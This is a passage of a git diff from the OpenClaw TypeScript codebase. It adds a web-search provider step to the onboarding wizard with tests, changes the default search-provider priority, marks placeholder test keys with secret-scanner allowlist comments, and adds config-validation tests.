expect(result.tools?.web?.search?.apiKey).toBe("BSA-test-key"); + }); + + it("sets provider and key for gemini", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ + selectValue: "gemini", + textValue: "AIza-test", + }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result.tools?.web?.search?.provider).toBe("gemini"); + expect(result.tools?.web?.search?.enabled).toBe(true); + expect(result.tools?.web?.search?.gemini?.apiKey).toBe("AIza-test"); + }); + + it("sets provider and key for grok", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ + selectValue: "grok", + textValue: "xai-test", + }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result.tools?.web?.search?.provider).toBe("grok"); + expect(result.tools?.web?.search?.enabled).toBe(true); + expect(result.tools?.web?.search?.grok?.apiKey).toBe("xai-test"); + }); + + it("sets provider and key for kimi", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ + selectValue: "kimi", + textValue: "sk-moonshot", + }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result.tools?.web?.search?.provider).toBe("kimi"); + expect(result.tools?.web?.search?.enabled).toBe(true); + expect(result.tools?.web?.search?.kimi?.apiKey).toBe("sk-moonshot"); + }); + + it("shows missing-key note when no key is provided and no env var", async () => { + const original = process.env.BRAVE_API_KEY; + delete process.env.BRAVE_API_KEY; + try { + const cfg: OpenClawConfig = {}; + const { prompter, notes } = createPrompter({ + selectValue: "brave", + textValue: "", + }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result.tools?.web?.search?.provider).toBe("brave"); + expect(result.tools?.web?.search?.enabled).toBeUndefined(); + const missingNote = notes.find((n) => n.message.includes("No API key stored")); + expect(missingNote).toBeDefined(); + } finally { + if (original === undefined) { + delete process.env.BRAVE_API_KEY; + } else { + process.env.BRAVE_API_KEY = original; + } + } + }); + + it("keeps existing key when user leaves input blank", async () => { + const result = await runBlankPerplexityKeyEntry( + "existing-key", // pragma: allowlist secret + ); + expect(result.tools?.web?.search?.perplexity?.apiKey).toBe("existing-key"); + expect(result.tools?.web?.search?.enabled).toBe(true); + }); + + it("advanced preserves enabled:false when keeping existing key", async () => { + const result = await runBlankPerplexityKeyEntry( + "existing-key", // pragma: allowlist secret + false, + ); + expect(result.tools?.web?.search?.perplexity?.apiKey).toBe("existing-key"); + expect(result.tools?.web?.search?.enabled).toBe(false); + }); + + it("quickstart skips key prompt when config key exists", async () => { + const { result, prompter } = await runQuickstartPerplexitySetup( + "stored-pplx-key", // pragma: allowlist secret + ); + expect(result.tools?.web?.search?.provider).toBe("perplexity"); + expect(result.tools?.web?.search?.perplexity?.apiKey).toBe("stored-pplx-key"); + expect(result.tools?.web?.search?.enabled).toBe(true); + expect(prompter.text).not.toHaveBeenCalled(); + }); + + it("quickstart preserves enabled:false when search was intentionally disabled", async () => { + const { result, prompter } = await runQuickstartPerplexitySetup( + "stored-pplx-key", // pragma: allowlist secret + false, + ); + expect(result.tools?.web?.search?.provider).toBe("perplexity"); + expect(result.tools?.web?.search?.perplexity?.apiKey).toBe("stored-pplx-key"); + expect(result.tools?.web?.search?.enabled).toBe(false); + expect(prompter.text).not.toHaveBeenCalled(); + }); + + it("quickstart falls through to key prompt when no key and no env var", async () => { + const original = process.env.XAI_API_KEY; + delete process.env.XAI_API_KEY; + try { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ selectValue: "grok", textValue: "" }); + const result = await setupSearch(cfg, runtime, prompter, { + quickstartDefaults: true, + }); + expect(prompter.text).toHaveBeenCalled(); + expect(result.tools?.web?.search?.provider).toBe("grok"); + expect(result.tools?.web?.search?.enabled).toBeUndefined(); + } finally { + if (original === undefined) { + delete process.env.XAI_API_KEY; + } else { + process.env.XAI_API_KEY = original; + } + } + }); + + it("quickstart skips key prompt when env var is available", async () => { + const orig = process.env.BRAVE_API_KEY; + process.env.BRAVE_API_KEY = "env-brave-key"; // pragma: allowlist secret + try { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ selectValue: "brave" }); + const result = await setupSearch(cfg, runtime, prompter, { + quickstartDefaults: true, + }); + expect(result.tools?.web?.search?.provider).toBe("brave"); + expect(result.tools?.web?.search?.enabled).toBe(true); + expect(prompter.text).not.toHaveBeenCalled(); + } finally { + if (orig === undefined) { + delete process.env.BRAVE_API_KEY; + } else { + process.env.BRAVE_API_KEY = orig; + } + } + }); + + it("stores env-backed SecretRef when secretInputMode=ref for perplexity", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ selectValue: "perplexity" }); + const result = await setupSearch(cfg, runtime, prompter, { + secretInputMode: "ref", // pragma: allowlist secret + }); + expect(result.tools?.web?.search?.provider).toBe("perplexity"); + expect(result.tools?.web?.search?.perplexity?.apiKey).toEqual({ + source: "env", + provider: "default", + id: "PERPLEXITY_API_KEY", // pragma: allowlist secret + }); + expect(prompter.text).not.toHaveBeenCalled(); + }); + + it("stores env-backed SecretRef when secretInputMode=ref for brave", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ selectValue: "brave" }); + const result = await setupSearch(cfg, runtime, prompter, { + secretInputMode: "ref", // pragma: allowlist secret + }); + expect(result.tools?.web?.search?.provider).toBe("brave"); + expect(result.tools?.web?.search?.apiKey).toEqual({ + source: "env", + provider: "default", + id: "BRAVE_API_KEY", + }); + expect(prompter.text).not.toHaveBeenCalled(); + }); + + it("stores plaintext key when secretInputMode is unset", async () => { + const cfg: OpenClawConfig = {}; + const { prompter } = createPrompter({ + selectValue: "brave", + textValue: "BSA-plain", + }); + const result = await setupSearch(cfg, runtime, prompter); + expect(result.tools?.web?.search?.apiKey).toBe("BSA-plain"); + }); + + it("exports all 5 providers in SEARCH_PROVIDER_OPTIONS", () => { + expect(SEARCH_PROVIDER_OPTIONS).toHaveLength(5); + const values = SEARCH_PROVIDER_OPTIONS.map((e) => e.value); + expect(values).toEqual(["perplexity", "brave", "gemini", "grok", "kimi"]); + }); +}); diff --git a/src/commands/onboard-search.ts b/src/commands/onboard-search.ts new file mode 100644 index 00000000000..f5e06a44f96 --- /dev/null +++ b/src/commands/onboard-search.ts @@ -0,0 +1,321 @@ +import type { OpenClawConfig } from "../config/config.js"; +import { + DEFAULT_SECRET_PROVIDER_ALIAS, + type SecretInput, + type SecretRef, + hasConfiguredSecretInput, + normalizeSecretInputString, +} from "../config/types.secrets.js"; +import type { RuntimeEnv } from "../runtime.js"; +import type { WizardPrompter } from "../wizard/prompts.js"; +import type { SecretInputMode } from "./onboard-types.js"; + +export type SearchProvider = "perplexity" | "brave" | "gemini" | "grok" | "kimi"; + +type SearchProviderEntry = { + value: SearchProvider; + label: string; + hint: string; + envKeys: string[]; + placeholder: string; + signupUrl: string; +}; + +export const SEARCH_PROVIDER_OPTIONS: readonly SearchProviderEntry[] = [ + { + value: "perplexity", + label: "Perplexity Search", + hint: "Structured results · domain/language/freshness filters", + envKeys: ["PERPLEXITY_API_KEY"], + placeholder: "pplx-...", + signupUrl: "https://www.perplexity.ai/settings/api", + }, + { + value: "brave", + label: "Brave Search", + hint: "Structured results · region-specific", + envKeys: ["BRAVE_API_KEY"], + placeholder: "BSA...", + signupUrl: "https://brave.com/search/api/", + }, + { + value: "gemini", + label: "Gemini (Google Search)", + hint: "Google Search grounding · AI-synthesized", + envKeys: ["GEMINI_API_KEY"], + placeholder: "AIza...", + signupUrl: "https://aistudio.google.com/apikey", + }, + { + value: "grok", + label: "Grok (xAI)", + hint: "xAI web-grounded responses", + envKeys: ["XAI_API_KEY"], + placeholder: "xai-...", + signupUrl: "https://console.x.ai/", + }, + { + value: "kimi", + label: "Kimi (Moonshot)", + hint: "Moonshot web search", + envKeys: ["KIMI_API_KEY", "MOONSHOT_API_KEY"], + placeholder: "sk-...", + signupUrl: "https://platform.moonshot.cn/", + }, +] as const; + +export function hasKeyInEnv(entry: SearchProviderEntry): boolean { + return entry.envKeys.some((k) => Boolean(process.env[k]?.trim())); +} + +function rawKeyValue(config: OpenClawConfig, provider: SearchProvider): unknown { + const search = config.tools?.web?.search; + switch (provider) { + case "brave": + return search?.apiKey; + case "perplexity": + return search?.perplexity?.apiKey; + case "gemini": + return search?.gemini?.apiKey; + case "grok": + return search?.grok?.apiKey; + case "kimi": + return search?.kimi?.apiKey; + } +} + +/** Returns the plaintext key string, or undefined for SecretRefs/missing. */ +export function resolveExistingKey( + config: OpenClawConfig, + provider: SearchProvider, +): string | undefined { + return normalizeSecretInputString(rawKeyValue(config, provider)); +} + +/** Returns true if a key is configured (plaintext string or SecretRef). */ +export function hasExistingKey(config: OpenClawConfig, provider: SearchProvider): boolean { + return hasConfiguredSecretInput(rawKeyValue(config, provider)); +} + +/** Build an env-backed SecretRef for a search provider. */ +function buildSearchEnvRef(provider: SearchProvider): SecretRef { + const entry = SEARCH_PROVIDER_OPTIONS.find((e) => e.value === provider); + const envVar = entry?.envKeys.find((k) => Boolean(process.env[k]?.trim())) ?? entry?.envKeys[0]; + if (!envVar) { + throw new Error( + `No env var mapping for search provider "${provider}" in secret-input-mode=ref.`, + ); + } + return { source: "env", provider: DEFAULT_SECRET_PROVIDER_ALIAS, id: envVar }; +} + +/** Resolve a plaintext key into the appropriate SecretInput based on mode. */ +function resolveSearchSecretInput( + provider: SearchProvider, + key: string, + secretInputMode?: SecretInputMode, +): SecretInput { + const useSecretRefMode = secretInputMode === "ref"; // pragma: allowlist secret + if (useSecretRefMode) { + return buildSearchEnvRef(provider); + } + return key; +} + +export function applySearchKey( + config: OpenClawConfig, + provider: SearchProvider, + key: SecretInput, +): OpenClawConfig { + const search = { ...config.tools?.web?.search, provider, enabled: true }; + switch (provider) { + case "brave": + search.apiKey = key; + break; + case "perplexity": + search.perplexity = { ...search.perplexity, apiKey: key }; + break; + case "gemini": + search.gemini = { ...search.gemini, apiKey: key }; + break; + case "grok": + search.grok = { ...search.grok, apiKey: key }; + break; + case "kimi": + search.kimi = { ...search.kimi, apiKey: key }; + break; + } + return { + ...config, + tools: { + ...config.tools, + web: { ...config.tools?.web, search }, + }, + }; +} + +function applyProviderOnly(config: OpenClawConfig, provider: SearchProvider): OpenClawConfig { + return { + ...config, + tools: { + ...config.tools, + web: { + ...config.tools?.web, + search: { + ...config.tools?.web?.search, + provider, + enabled: true, + }, + }, + }, + }; +} + +function preserveDisabledState(original: OpenClawConfig, result: OpenClawConfig): OpenClawConfig { + if (original.tools?.web?.search?.enabled !== false) { + return result; + } + return { + ...result, + tools: { + ...result.tools, + web: { ...result.tools?.web, search: { ...result.tools?.web?.search, enabled: false } }, + }, + }; +} + +export type SetupSearchOptions = { + quickstartDefaults?: boolean; + secretInputMode?: SecretInputMode; +}; + +export async function setupSearch( + config: OpenClawConfig, + _runtime: RuntimeEnv, + prompter: WizardPrompter, + opts?: SetupSearchOptions, +): Promise { + await prompter.note( + [ + "Web search lets your agent look things up online.", + "Choose a provider and paste your API key.", + "Docs: https://docs.openclaw.ai/tools/web", + ].join("\n"), + "Web search", + ); + + const existingProvider = config.tools?.web?.search?.provider; + + const options = SEARCH_PROVIDER_OPTIONS.map((entry) => { + const configured = hasExistingKey(config, entry.value) || hasKeyInEnv(entry); + const hint = configured ? `${entry.hint} · configured` : entry.hint; + return { value: entry.value, label: entry.label, hint }; + }); + + const defaultProvider: SearchProvider = (() => { + if (existingProvider && SEARCH_PROVIDER_OPTIONS.some((e) => e.value === existingProvider)) { + return existingProvider; + } + const detected = SEARCH_PROVIDER_OPTIONS.find( + (e) => hasExistingKey(config, e.value) || hasKeyInEnv(e), + ); + if (detected) { + return detected.value; + } + return "perplexity"; + })(); + + type PickerValue = SearchProvider | "__skip__"; + const choice = await prompter.select({ + message: "Search provider", + options: [ + ...options, + { + value: "__skip__" as const, + label: "Skip for now", + hint: "Configure later with openclaw configure --section web", + }, + ], + initialValue: defaultProvider as PickerValue, + }); + + if (choice === "__skip__") { + return config; + } + + const entry = SEARCH_PROVIDER_OPTIONS.find((e) => e.value === choice)!; + const existingKey = resolveExistingKey(config, choice); + const keyConfigured = hasExistingKey(config, choice); + const envAvailable = hasKeyInEnv(entry); + + if (opts?.quickstartDefaults && (keyConfigured || envAvailable)) { + const result = existingKey + ? applySearchKey(config, choice, existingKey) + : applyProviderOnly(config, choice); + return preserveDisabledState(config, result); + } + + const useSecretRefMode = opts?.secretInputMode === "ref"; // pragma: allowlist secret + if (useSecretRefMode) { + if (keyConfigured) { + return preserveDisabledState(config, applyProviderOnly(config, choice)); + } + const ref = buildSearchEnvRef(choice); + await prompter.note( + [ + "Secret references enabled — OpenClaw will store a reference instead of the API key.", + `Env var: ${ref.id}${envAvailable ? " (detected)" : ""}.`, + ...(envAvailable ? [] : [`Set ${ref.id} in the Gateway environment.`]), + "Docs: https://docs.openclaw.ai/tools/web", + ].join("\n"), + "Web search", + ); + return applySearchKey(config, choice, ref); + } + + const keyInput = await prompter.text({ + message: keyConfigured + ? `${entry.label} API key (leave blank to keep current)` + : envAvailable + ? `${entry.label} API key (leave blank to use env var)` + : `${entry.label} API key`, + placeholder: keyConfigured ? "Leave blank to keep current" : entry.placeholder, + }); + + const key = keyInput?.trim() ?? ""; + if (key) { + const secretInput = resolveSearchSecretInput(choice, key, opts?.secretInputMode); + return applySearchKey(config, choice, secretInput); + } + + if (existingKey) { + return preserveDisabledState(config, applySearchKey(config, choice, existingKey)); + } + + if (keyConfigured || envAvailable) { + return preserveDisabledState(config, applyProviderOnly(config, choice)); + } + + await prompter.note( + [ + "No API key stored — web_search won't work until a key is available.", + `Get your key at: ${entry.signupUrl}`, + "Docs: https://docs.openclaw.ai/tools/web", + ].join("\n"), + "Web search", + ); + + return { + ...config, + tools: { + ...config.tools, + web: { + ...config.tools?.web, + search: { + ...config.tools?.web?.search, + provider: choice, + }, + }, + }, + }; +} diff --git a/src/commands/onboard-types.ts b/src/commands/onboard-types.ts index fcb823f96b8..7e938430517 100644 --- a/src/commands/onboard-types.ts +++ b/src/commands/onboard-types.ts @@ -87,7 +87,7 @@ export type NodeManagerChoice = "npm" | "pnpm" | "bun"; export type ChannelChoice = ChannelId; // Legacy alias (pre-rename). export type ProviderChoice = ChannelChoice; -export type SecretInputMode = "plaintext" | "ref"; +export type SecretInputMode = "plaintext" | "ref"; // pragma: allowlist secret export type OnboardOptions = { mode?: OnboardMode; @@ -154,6 +154,7 @@ export type OnboardOptions = { /** @deprecated Legacy alias for `skipChannels`. */ skipProviders?: boolean; skipSkills?: boolean; + skipSearch?: boolean; skipHealth?: boolean; skipUi?: boolean; nodeManager?: NodeManagerChoice; diff --git a/src/commands/onboard.test.ts b/src/commands/onboard.test.ts index 4fa6b04cc12..1233222bf54 100644 --- a/src/commands/onboard.test.ts +++ b/src/commands/onboard.test.ts @@ -47,7 +47,7 @@ describe("onboardCommand", () => { await onboardCommand( { - secretInputMode: "invalid" as never, + secretInputMode: "invalid" as never, // pragma: allowlist secret }, runtime, ); diff --git a/src/commands/onboard.ts b/src/commands/onboard.ts index 1901d70e08f..9c55bddf1d6 100644 --- a/src/commands/onboard.ts +++ b/src/commands/onboard.ts @@ -39,8 +39,8 @@ export async function onboardCommand(opts: OnboardOptions, runtime: RuntimeEnv = : { ...opts, authChoice: normalizedAuthChoice, flow }; if ( normalizedOpts.secretInputMode && - normalizedOpts.secretInputMode !== "plaintext" && - normalizedOpts.secretInputMode !== "ref" + normalizedOpts.secretInputMode !== "plaintext" && // pragma: allowlist secret + normalizedOpts.secretInputMode !== "ref" // pragma: allowlist secret ) { runtime.error('Invalid --secret-input-mode. Use "plaintext" or "ref".'); runtime.exit(1); diff --git a/src/commands/status-all/channels.mattermost-token-summary.test.ts b/src/commands/status-all/channels.mattermost-token-summary.test.ts index 3d0a84d3ee6..a797d028d9f 100644 --- a/src/commands/status-all/channels.mattermost-token-summary.test.ts +++ b/src/commands/status-all/channels.mattermost-token-summary.test.ts @@ -1,6 +1,7 @@ import { describe, expect, it, vi } from "vitest"; import { listChannelPlugins } from "../../channels/plugins/index.js"; import type { ChannelPlugin } from "../../channels/plugins/types.js"; +import { makeDirectPlugin } from "../../test-utils/channel-plugin-test-fixtures.js"; import { buildChannelsTable } from "./channels.js"; vi.mock("../../channels/plugins/index.js", () => ({ @@ -117,16 +118,10 @@ function makeUnavailableSlackPlugin(): ChannelPlugin { } function makeSourceAwareUnavailablePlugin(): ChannelPlugin { - return { + return makeDirectPlugin({ id: "slack", - meta: { - id: "slack", - label: "Slack", - selectionLabel: "Slack", - docsPath: "/channels/slack", - blurb: "test", - }, - capabilities: { chatTypes: ["direct"] }, + label: "Slack", + docsPath: "/channels/slack", config: { listAccountIds: () => ["primary"], defaultAccountId: () => "primary", @@ -161,10 +156,7 @@ function makeSourceAwareUnavailablePlugin(): ChannelPlugin { isConfigured: (account) => Boolean((account as { configured?: boolean }).configured), isEnabled: () => true, }, - actions: { - listActions: () => ["send"], - }, - }; + }); } function makeSourceUnavailableResolvedAvailablePlugin(): ChannelPlugin { @@ -214,16 +206,10 @@ function makeSourceUnavailableResolvedAvailablePlugin(): ChannelPlugin { } function makeHttpSlackUnavailablePlugin(): ChannelPlugin { - return { + return makeDirectPlugin({ id: "slack", - meta: { - id: "slack", - label: "Slack", - selectionLabel: "Slack", - docsPath: "/channels/slack", - blurb: "test", - }, - capabilities: { chatTypes: ["direct"] }, + label: "Slack", + docsPath: "/channels/slack", config: { listAccountIds: () => ["primary"], defaultAccountId: () => "primary", @@ -236,9 +222,9 @@ function makeHttpSlackUnavailablePlugin(): ChannelPlugin { botToken: "xoxb-http", signingSecret: "", botTokenSource: "config", - signingSecretSource: "config", + signingSecretSource: "config", // pragma: allowlist secret botTokenStatus: "available", - signingSecretStatus: "configured_unavailable", + signingSecretStatus: "configured_unavailable", // pragma: allowlist secret }), resolveAccount: () => ({ name: "Primary", @@ -248,30 +234,21 @@ function makeHttpSlackUnavailablePlugin(): ChannelPlugin { botToken: "xoxb-http", signingSecret: "", botTokenSource: "config", - signingSecretSource: "config", + signingSecretSource: "config", // pragma: allowlist secret botTokenStatus: "available", - signingSecretStatus: "configured_unavailable", + signingSecretStatus: "configured_unavailable", // pragma: allowlist secret }), isConfigured: () => true, isEnabled: () => true, }, - actions: { - listActions: () => ["send"], - }, - }; + }); } function makeTokenPlugin(): ChannelPlugin { - return { + return makeDirectPlugin({ id: "token-only", - meta: { - id: "token-only", - label: "TokenOnly", - selectionLabel: "TokenOnly", - docsPath: "/channels/token-only", - blurb: "test", - }, - capabilities: { chatTypes: ["direct"] }, + label: "TokenOnly", + docsPath: "/channels/token-only", config: { listAccountIds: () => ["primary"], defaultAccountId: () => "primary", @@ -283,10 +260,7 @@ function makeTokenPlugin(): ChannelPlugin { isConfigured: () => true, isEnabled: () => true, }, - actions: { - listActions: () => ["send"], - }, - }; + }); } describe("buildChannelsTable - mattermost token summary", () => { diff --git a/src/commands/status-all/channels.ts b/src/commands/status-all/channels.ts index bfa4fa03112..cf3a67a99b5 100644 --- a/src/commands/status-all/channels.ts +++ b/src/commands/status-all/channels.ts @@ -177,7 +177,10 @@ const buildAccountNotes = (params: { if (snapshot.appTokenSource && snapshot.appTokenSource !== "none") { notes.push(`app:${snapshot.appTokenSource}`); } - if (snapshot.signingSecretSource && snapshot.signingSecretSource !== "none") { + if ( + snapshot.signingSecretSource && + snapshot.signingSecretSource !== "none" /* pragma: allowlist secret */ + ) { notes.push(`signing:${snapshot.signingSecretSource}`); } if (hasConfiguredUnavailableCredentialStatus(entry.account)) { diff --git a/src/commands/zai-endpoint-detect.test.ts b/src/commands/zai-endpoint-detect.test.ts index ce2d45fc044..292ee7ac761 100644 --- a/src/commands/zai-endpoint-detect.test.ts +++ b/src/commands/zai-endpoint-detect.test.ts @@ -58,7 +58,7 @@ describe("detectZaiEndpoint", () => { for (const scenario of scenarios) { const detected = await detectZaiEndpoint({ - apiKey: "sk-test", + apiKey: "sk-test", // pragma: allowlist secret fetchFn: makeFetch(scenario.responses), }); diff --git a/src/config/config-misc.test.ts b/src/config/config-misc.test.ts index 29efaa2b136..647986a96e0 100644 --- a/src/config/config-misc.test.ts +++ b/src/config/config-misc.test.ts @@ -31,6 +31,19 @@ describe("$schema key in config (#14998)", () => { }); }); +describe("plugins.slots.contextEngine", () => { + it("accepts a contextEngine slot id", () => { + const result = OpenClawSchema.safeParse({ + plugins: { + slots: { + contextEngine: "my-context-engine", + }, + }, + }); + expect(result.success).toBe(true); + }); +}); + describe("ui.seamColor", () => { it("accepts hex colors", () => { const res = validateConfigObject({ ui: { seamColor: "#FF4500" } }); @@ -245,7 +258,7 @@ describe("cron webhook schema", () => { retry: { maxAttempts: 5, backoffMs: [60000, 120000, 300000], - retryOn: ["rate_limit", "network"], + retryOn: ["rate_limit", "overloaded", "network"], }, }, }); diff --git a/src/config/config.compaction-settings.test.ts b/src/config/config.compaction-settings.test.ts index 04674a7a7ac..0943a47949f 100644 --- a/src/config/config.compaction-settings.test.ts +++ b/src/config/config.compaction-settings.test.ts @@ -89,4 +89,43 @@ describe("config compaction settings", () => { }, ); }); + + it("preserves recent turn safeguard values through loadConfig()", async () => { + await withTempHomeConfig( + { + agents: { + defaults: { + compaction: { + mode: "safeguard", + recentTurnsPreserve: 4, + }, + }, + }, + }, + async () => { + const cfg = loadConfig(); + expect(cfg.agents?.defaults?.compaction?.recentTurnsPreserve).toBe(4); + }, + ); + }); + + it("preserves oversized quality guard retry values for runtime clamping", async () => { + await withTempHomeConfig( + { + agents: { + defaults: { + compaction: { + qualityGuard: { + maxRetries: 99, + }, + }, + }, + }, + }, + async () => { + const cfg = loadConfig(); + expect(cfg.agents?.defaults?.compaction?.qualityGuard?.maxRetries).toBe(99); + }, + ); + }); }); diff --git a/src/config/config.identity-defaults.test.ts b/src/config/config.identity-defaults.test.ts index 6d25e4c6d16..92a4769c1fd 100644 --- a/src/config/config.identity-defaults.test.ts +++ b/src/config/config.identity-defaults.test.ts @@ -154,6 +154,35 @@ describe("config identity defaults", () => { }); }); + it("accepts SecretRef values in model provider headers", async () => { + await withTempHome("openclaw-config-identity-", async (home) => { + const cfg = await writeAndLoadConfig(home, { + models: { + providers: { + openai: { + baseUrl: "https://api.openai.com/v1", + api: "openai-completions", + headers: { + Authorization: { + source: "env", + provider: "default", + id: "OPENAI_HEADER_TOKEN", + }, + }, + models: [], + }, + }, + }, + }); + + expect(cfg.models?.providers?.openai?.headers?.Authorization).toEqual({ + source: "env", + provider: "default", + id: "OPENAI_HEADER_TOKEN", + }); + }); + }); + it("respects empty responsePrefix to disable identity defaults", async () => { await withTempHome("openclaw-config-identity-", async (home) => { const cfg = await writeAndLoadConfig(home, configWithDefaultIdentity({ responsePrefix: "" })); diff --git a/src/config/config.plugin-validation.test.ts b/src/config/config.plugin-validation.test.ts index 6c0b9e56587..02eab6789ea 100644 --- a/src/config/config.plugin-validation.test.ts +++ b/src/config/config.plugin-validation.test.ts @@ -37,6 +37,7 @@ describe("config plugin validation", () => { let badPluginDir = ""; let enumPluginDir = ""; let bluebubblesPluginDir = ""; + let voiceCallSchemaPluginDir = ""; const envSnapshot = { OPENCLAW_STATE_DIR: process.env.OPENCLAW_STATE_DIR, OPENCLAW_PLUGIN_MANIFEST_CACHE_MS: process.env.OPENCLAW_PLUGIN_MANIFEST_CACHE_MS, @@ -83,6 +84,24 @@ describe("config plugin validation", () => { channels: ["bluebubbles"], schema: { type: "object" }, }); + voiceCallSchemaPluginDir = path.join(suiteHome, "voice-call-schema-plugin"); + const voiceCallManifestPath = path.join( + process.cwd(), + "extensions", + "voice-call", + "openclaw.plugin.json", + ); + const voiceCallManifest = JSON.parse(await fs.readFile(voiceCallManifestPath, "utf-8")) as { + configSchema?: Record; + }; + if (!voiceCallManifest.configSchema) { + throw new Error("voice-call manifest missing configSchema"); + } + await writePluginFixture({ + dir: voiceCallSchemaPluginDir, + id: "voice-call-schema-fixture", + schema: voiceCallManifest.configSchema, + }); process.env.OPENCLAW_STATE_DIR = path.join(suiteHome, ".openclaw"); process.env.OPENCLAW_PLUGIN_MANIFEST_CACHE_MS = "10000"; clearPluginManifestRegistryCache(); @@ -91,7 +110,7 @@ describe("config plugin validation", () => { validateInSuite({ plugins: { enabled: false, - load: { paths: [badPluginDir, bluebubblesPluginDir] }, + load: { paths: [badPluginDir, bluebubblesPluginDir, voiceCallSchemaPluginDir] }, }, }); }); @@ -229,6 +248,37 @@ describe("config plugin validation", () => { } }); + it("accepts voice-call webhookSecurity and streaming guard config fields", async () => { + const res = validateInSuite({ + agents: { list: [{ id: "pi" }] }, + plugins: { + enabled: true, + load: { paths: [voiceCallSchemaPluginDir] }, + entries: { + "voice-call-schema-fixture": { + config: { + provider: "twilio", + webhookSecurity: { + allowedHosts: ["voice.example.com"], + trustForwardingHeaders: false, + trustedProxyIPs: ["127.0.0.1"], + }, + streaming: { + enabled: true, + preStartTimeoutMs: 5000, + maxPendingConnections: 16, + maxPendingConnectionsPerIp: 4, + maxConnections: 64, + }, + staleCallReaperSeconds: 180, + }, + }, + }, + }, + }); + expect(res.ok).toBe(true); + }); + it("accepts known plugin ids and valid channel/heartbeat enums", async () => { const res = validateInSuite({ agents: { diff --git a/src/config/config.ts b/src/config/config.ts index dfe47d82f87..35fe656c666 100644 --- a/src/config/config.ts +++ b/src/config/config.ts @@ -3,6 +3,7 @@ export { clearRuntimeConfigSnapshot, createConfigIO, getRuntimeConfigSnapshot, + getRuntimeConfigSourceSnapshot, loadConfig, parseConfigJson5, readConfigFileSnapshot, diff --git a/src/config/config.web-search-provider.test.ts b/src/config/config.web-search-provider.test.ts index 5029a7e9476..d0b65565e41 100644 --- a/src/config/config.web-search-provider.test.ts +++ b/src/config/config.web-search-provider.test.ts @@ -16,7 +16,7 @@ describe("web search provider config", () => { enabled: true, provider: "perplexity", providerConfig: { - apiKey: "test-key", + apiKey: "test-key", // pragma: allowlist secret }, }), ); @@ -30,7 +30,7 @@ describe("web search provider config", () => { enabled: true, provider: "gemini", providerConfig: { - apiKey: "test-key", + apiKey: "test-key", // pragma: allowlist secret model: "gemini-2.5-flash", }, }), @@ -70,60 +70,62 @@ describe("web search provider auto-detection", () => { vi.restoreAllMocks(); }); - it("falls back to brave when no keys available", () => { - expect(resolveSearchProvider({})).toBe("brave"); + it("falls back to perplexity when no keys available", () => { + expect(resolveSearchProvider({})).toBe("perplexity"); }); it("auto-detects brave when only BRAVE_API_KEY is set", () => { - process.env.BRAVE_API_KEY = "test-brave-key"; + process.env.BRAVE_API_KEY = "test-brave-key"; // pragma: allowlist secret expect(resolveSearchProvider({})).toBe("brave"); }); it("auto-detects gemini when only GEMINI_API_KEY is set", () => { - process.env.GEMINI_API_KEY = "test-gemini-key"; + process.env.GEMINI_API_KEY = "test-gemini-key"; // pragma: allowlist secret expect(resolveSearchProvider({})).toBe("gemini"); }); it("auto-detects kimi when only KIMI_API_KEY is set", () => { - process.env.KIMI_API_KEY = "test-kimi-key"; + process.env.KIMI_API_KEY = "test-kimi-key"; // pragma: allowlist secret expect(resolveSearchProvider({})).toBe("kimi"); }); it("auto-detects perplexity when only PERPLEXITY_API_KEY is set", () => { - process.env.PERPLEXITY_API_KEY = "test-perplexity-key"; + process.env.PERPLEXITY_API_KEY = "test-perplexity-key"; // pragma: allowlist secret expect(resolveSearchProvider({})).toBe("perplexity"); }); it("auto-detects grok when only XAI_API_KEY is set", () => { - process.env.XAI_API_KEY = "test-xai-key"; + process.env.XAI_API_KEY = "test-xai-key"; // pragma: allowlist secret expect(resolveSearchProvider({})).toBe("grok"); }); it("auto-detects kimi when only KIMI_API_KEY is set", () => { - process.env.KIMI_API_KEY = "test-kimi-key"; + process.env.KIMI_API_KEY = "test-kimi-key"; // pragma: allowlist secret expect(resolveSearchProvider({})).toBe("kimi"); }); it("auto-detects kimi when only MOONSHOT_API_KEY is set", () => { - process.env.MOONSHOT_API_KEY = "test-moonshot-key"; + process.env.MOONSHOT_API_KEY = "test-moonshot-key"; // pragma: allowlist secret expect(resolveSearchProvider({})).toBe("kimi"); }); - it("follows priority order — brave wins when multiple keys available", () => { - process.env.BRAVE_API_KEY = "test-brave-key"; - process.env.GEMINI_API_KEY = "test-gemini-key"; - process.env.XAI_API_KEY = "test-xai-key"; + it("follows priority order — perplexity wins when multiple keys available", () => { + process.env.PERPLEXITY_API_KEY = "test-perplexity-key"; // pragma: allowlist secret + process.env.BRAVE_API_KEY = "test-brave-key"; // pragma: allowlist secret + process.env.GEMINI_API_KEY = "test-gemini-key"; // pragma: allowlist secret + process.env.XAI_API_KEY = "test-xai-key"; // pragma: allowlist secret + expect(resolveSearchProvider({})).toBe("perplexity"); + }); + + it("brave wins over gemini and grok when perplexity unavailable", () => { + process.env.BRAVE_API_KEY = "test-brave-key"; // pragma: allowlist secret + process.env.GEMINI_API_KEY = "test-gemini-key"; // pragma: allowlist secret + process.env.XAI_API_KEY = "test-xai-key"; // pragma: allowlist secret expect(resolveSearchProvider({})).toBe("brave"); }); - it("gemini wins over perplexity and grok when brave unavailable", () => { - process.env.GEMINI_API_KEY = "test-gemini-key"; - process.env.PERPLEXITY_API_KEY = "test-perplexity-key"; - expect(resolveSearchProvider({})).toBe("gemini"); - }); - it("explicit provider always wins regardless of keys", () => { - process.env.BRAVE_API_KEY = "test-brave-key"; + process.env.BRAVE_API_KEY = "test-brave-key"; // pragma: allowlist secret expect( resolveSearchProvider({ provider: "gemini" } as unknown as Parameters< typeof resolveSearchProvider diff --git a/src/config/io.runtime-snapshot-write.test.ts b/src/config/io.runtime-snapshot-write.test.ts index 0a37de08aaa..b9ea7d51edb 100644 --- a/src/config/io.runtime-snapshot-write.test.ts +++ b/src/config/io.runtime-snapshot-write.test.ts @@ -5,38 +5,74 @@ import { withTempHome } from "./home-env.test-harness.js"; import { clearConfigCache, 